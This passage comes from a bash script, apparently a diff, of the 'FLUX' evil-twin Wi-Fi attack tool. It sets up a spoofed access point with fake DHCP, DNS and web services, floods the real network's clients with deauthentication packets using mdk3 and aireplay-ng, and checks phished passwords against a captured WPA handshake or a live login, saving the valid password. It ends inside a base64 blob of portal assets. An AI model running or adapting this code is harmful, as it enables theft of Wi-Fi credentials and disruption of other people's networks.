sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" PUNTO DE ACCESO:\" - echo -e \" Number..........: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Brand...........: "$green "$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time...: "$grey"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clientes........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTES ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 